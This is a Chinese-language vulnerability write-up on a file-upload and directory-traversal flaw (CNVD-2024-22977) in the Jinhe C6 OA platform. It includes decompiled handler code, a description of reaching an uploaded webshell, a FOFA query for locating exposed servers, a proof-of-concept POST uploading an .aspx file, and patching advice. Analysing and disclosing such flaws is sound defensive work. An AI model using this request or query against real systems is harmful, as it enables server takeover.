CNVD-2024-22977 金和C6协同管理平台文件上传漏洞

北京金和网络股份有限公司金和C6协同管理平台存在文件上传漏洞,攻击者可利用漏洞上传恶意文件,获取服务器权限。

一、漏洞简介

北京金和网络股份有限公司是一家领先的互联网及移动互联网技术供应商、服务商。

北京金和网络股份有限公司金和C6协同管理平台存在文件上传漏洞,攻击者可利用漏洞上传恶意文件,获取服务器权限。

二、影响版本

金和OA-C6的所有已知版本,在未进行安全修复/安装补丁前均可能受到影响。

三、漏洞分析

在金和C6协同管理平台中,默认会在部署的根目录文件夹的FileUpload文件夹下存在upload.ashx方法,方便文件上传时调用

image.png

查看下upload.ashx源码,对应的Class类方法是Fileupload类下的upload方法

反编译Fileupload.dll,查看并找到下面的upload方法,如下图

image.png

代码如下,此处传参folderencrypttype参数,folder指定保存目录,encrypt指定文件内容是否加密,type为类型默认为multi。之后进入保存文件方法SaveFileToServer

public void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
            context.Response.Charset = "gb2312";
            string strFolder = "Slaves";
            if (context.Request["folder"] != null)
            {
                strFolder = context.Request["folder"].ToString();
            }
            string encrpyt = "true";
            if (context.Request["encrpyt"] != null)
            {
                encrpyt = context.Request["encrpyt"].ToString();
            }
            string type = "multi";
            if (context.Request["type"] != null)
            {
                type = context.Request["type"].ToString();
            }
            if (context.Request.Files.Count == 0 || string.IsNullOrWhiteSpace(context.Request.Files[0].FileName))
            {
                this.WriteLog(string.Concat(new object[]
                {
                    "Files.Count:",
                    context.Request.Files.Count,
                    "$$FileName:",
                    context.Request.Files[0].FileName
                }), this.logName);
            }
            else
            {
                try
                {
                    this.SaveFileToServer(context, strFolder, encrpyt, type);
                }
                catch (Exception ex)
                {
                    context.Response.Write("SaveFileToServer ERROR:" + ex.Message);
                    this.WriteLog("SaveFileToServer ERROR:" + ex.Message, this.logName);
                }
            }

追踪SaveFileToServer方法,代码如下

image.png

private void SaveFileToServer(HttpContext context, string strFolder, string encrpyt, string type)
{
    if (strFolder == "fceformext")
    {
        strFolder = "fceformext/res";
    }
    string text = "../Resource/" + strFolder + "/";
    HttpPostedFile httpPostedFile = context.Request.Files[0];
    string contentType = httpPostedFile.ContentType;
    int contentLength = httpPostedFile.ContentLength;
    string text2 = text;
    string fileName = Path.GetFileName(httpPostedFile.FileName);
    string extension = Path.GetExtension(fileName);
    text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2);
    bool flag = false;
    if (context.Request["ie9"] == null)
    {
        flag = this.isImage(extension);
    }
    if (!Directory.Exists(text2))
    {
        context.Response.Write("ERROR:The uploaded folder could not be found");
    }
    else
    {
        text2 = text2 + "\\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\\";
        string text3 = Document.GetFileName("") + extension;
        if (encrpyt != "true" || flag)
        {
            text3 = text3.Replace("__", "");
        }
        try
        {
            Stream stream = httpPostedFile.InputStream;
            string text4 = Path.Combine(text2, text3);
            string arg = "";
            if (!File.Exists(text4))
            {
                if (flag)
                {
                    ImageThumbnail imageThumbnail = new ImageThumbnail(stream);
                    imageThumbnail.ReduceImage(text4, 40);
                    imageThumbnail.ResourceImage.Dispose();
                }
                else
                {
                    using (FileStream fileStream = new FileStream(text4, FileMode.CreateNew, FileAccess.Write))
                    {
                        byte[] array = new byte[(int)stream.Length];
                        stream.Read(array, 0, array.Length);
                        stream.Dispose();
                        stream.Close();
                        byte[] buffer = array;
                        if (encrpyt == "true")
                        {
                            buffer = this.EncryptByte(array);
                        }
                        stream = new MemoryStream(buffer);
                        int num = 4096;
                        long length = stream.Length;
                        long num2 = 0L;
                        while (num2 < length)
                        {
                            byte[] array2;
                            if (length - num2 >= (long)num)
                            {
                                array2 = new byte[num];
                            }
                            else
                            {
                                array2 = new byte[length - num2];
                            }
                            stream.Read(array2, 0, array2.Length);
                            fileStream.Write(array2, 0, array2.Length);
                            num2 += (long)array2.Length;
                            if (type == "single")
                            {
                                long percent = num2 * 100L / length;
                                upload.SendPercentToClient(percent);
                            }
                        }
                        stream.Dispose();
                        stream.Close();
                        fileStream.Dispose();
                        fileStream.Close();
                    }
                }
                text2 = JHSoft.Web.CustomQuery.Upload.GetFileRelativeURLbyAbosolutePath(text2);
                string text5 = "";
                if (!strFolder.ToLower().Contains("fceformext"))
                {
                    text5 = UploadFile.SaveFile(text2 + text3, fileName, contentType, contentLength);
                }
                arg = string.Concat(new string[]
                {
                    text5,
                    "|",
                    fileName,
                    "|",
                    text2,
                    text3,
                    "|",
                    new Page().EncryptString(text5)
                });
            }
            context.Response.Write(string.Format("{0}", arg));
        }
        catch (Exception ex)
        {
            context.Response.Write("ERROR:" + ex.Message);
            this.WriteLog("ERROR:" + ex.Message, this.logName);
        }
    }
}

代码很长,但是关键的代码只要看其中一段

strFolder为传入的保存目录,此处和../Resource拼接,未过滤字符串因此存在目录穿越。之后就是取上传文件的各种参数,再判断是否需要encrypt为true时候加密,保存目录是否存在。最后再是保存文件到指定目录中

string text = "../Resource/" + strFolder + "/";
HttpPostedFile httpPostedFile = context.Request.Files[0];
string contentType = httpPostedFile.ContentType;
int contentLength = httpPostedFile.ContentLength;
string text2 = text;
string fileName = Path.GetFileName(httpPostedFile.FileName);
string extension = Path.GetExtension(fileName);
text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2);
bool flag = false;
if (context.Request["ie9"] == null)
{
    flag = this.isImage(extension);
}
if (!Directory.Exists(text2))
{
    context.Response.Write("ERROR:The uploaded folder could not be found");
}
else
{
    text2 = text2 + "\\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\\";
    string text3 = Document.GetFileName("") + extension;

这里构造请求,不指定目录上传文件,可以看到文件被保存到/Resource/文件夹下面。这是保存资源的文件夹,无法在外部访问到

image.png

指定保存文件夹为能访问到的/C6/目录下面,继续请求,可以看到是能正常目录穿越保存的

image.png

最后就是访问上传的shell,验证连接shell文件成功(这里借助金和C6系统的未申请访问漏洞,在aspx文件末尾加上/即可访问)

image.png

四、总结

金和OA C6系统存在未授权的文件上传方法,利用该方法可上传恶意文件,再结合不需要权限验证就能访问文件的历史漏洞,就能组合获取服务器权限。

五、资产测绘

FOFA语法

app="金和网络-金和OA"

image.png

六、漏洞复现

POC如下

POST /C6/Fileupload/Upload.ashx HTTP/1.1

Host:

Content-Type: multipart/form-data; boundary=---------------------------7d81b916a8ac8

-----------------------------7d81b916a8ac8

Content-Disposition: form-data; name="folder"

\....\....\C6\common\

-----------------------------7d81b916a8ac8

Content-Disposition: form-data; name="encrpyt"

false

-----------------------------7d81b916a8ac8

Content-Disposition: form-data; name="file"; filename="3212.aspx"

Content-Type: text/plain

文件内容

-----------------------------7d81b916a8ac8--

image.png

七、漏洞修复建议

升级金和OA C6到最新版本,修改用于检查全局的AcquireRequestStateEndsWith方法,避免出现未授权访问;并对文件上传后缀进行白名单限制或是禁用upload.ashx方法。

  • 发表于 2025-05-09 15:00:01
  • 阅读 ( 2718 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
chobits
chobits

9 篇文章

站长统计